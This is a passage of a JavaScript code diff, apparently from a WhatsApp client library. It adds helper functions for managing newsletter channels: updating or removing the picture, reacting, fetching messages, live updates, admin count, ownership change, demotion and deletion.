+ return await newsletterUpdate(jid, { description });
171
+ },
172
+ newsletterUpdatePicture: async (jid, content) => {
173
+ const { img } = await generateProfilePicture(content);
174
+ return await newsletterUpdate(jid, { picture: img.toString("base64") });
175
+ },
176
+ newsletterRemovePicture: async (jid) => {
177
+ return await newsletterUpdate(jid, { picture: "" });
178
+ },
179
+ newsletterReactMessage: async (jid, serverId, reaction) => {
180
+ await query({
181
+ tag: "message",
182
+ attrs: {
183
+ to: jid,
184
+ ...(reaction ? {} : { edit: "7" }),
185
+ type: "reaction",
186
+ server_id: serverId,
187
+ id: generateMessageTag()
188
+ },
189
+ content: [
190
+ {
191
+ tag: "reaction",
192
+ attrs: reaction ? { code: reaction } : {}
193
+ }
194
+ ]
195
+ });
196
+ },
197
+ newsletterFetchMessages: async (jid, count, since, after) => {
198
+ const messageUpdateAttrs = {
199
+ count: count.toString()
200
+ };
201
+ if (typeof since === "number") {
202
+ messageUpdateAttrs.since = since.toString();
203
+ }
204
+ if (after) {
205
+ messageUpdateAttrs.after = after.toString();
206
+ }
207
+ const result = await query({
208
+ tag: "iq",
209
+ attrs: {
210
+ id: generateMessageTag(),
211
+ type: "get",
212
+ xmlns: "newsletter",
213
+ to: jid
214
+ },
215
+ content: [
216
+ {
217
+ tag: "message_updates",
218
+ attrs: messageUpdateAttrs
219
+ }
220
+ ]
221
+ });
222
+ return result;
223
+ },
224
+ subscribeNewsletterUpdates: async (jid) => {
225
+ const result = await query({
226
+ tag: "iq",
227
+ attrs: {
228
+ id: generateMessageTag(),
229
+ type: "set",
230
+ xmlns: "newsletter",
231
+ to: jid
232
+ },
233
+ content: [{ tag: "live_updates", attrs: {}, content: [] }]
234
+ });
235
+ const liveUpdatesNode = getBinaryNodeChild(result, "live_updates");
236
+ const duration = liveUpdatesNode?.attrs?.duration;
237
+ return duration ? { duration: duration } : null;
238
+ },
239
+ newsletterAdminCount: async (jid) => {
240
+ const response = await executeWMexQuery({ newsletter_id: jid }, QueryIds.ADMIN_COUNT, XWAPaths.xwa2_newsletter_admin_count);
241
+ return response.admin_count;
242
+ },
243
+ newsletterChangeOwner: async (jid, newOwnerJid) => {
244
+ await executeWMexQuery({ newsletter_id: jid, user_id: newOwnerJid }, QueryIds.CHANGE_OWNER, XWAPaths.xwa2_newsletter_change_owner);
245
+ },
246
+ newsletterDemote: async (jid, userJid) => {
247
+ await executeWMexQuery({ newsletter_id: jid, user_id: userJid }, QueryIds.DEMOTE, XWAPaths.xwa2_newsletter_demote);
248
+ },
249
+ newsletterDelete: async (jid) => {
250
+ await executeWMexQuery({ newsletter_id: jid }, QueryIds.DELETE, XWAPaths.xwa2_newsletter_delete_v2);
251
+ }
252
+ };
246
253
  };
247
- exports.extractNewsletterMetadata = extractNewsletterMetadata;
254
+ //=======================================================//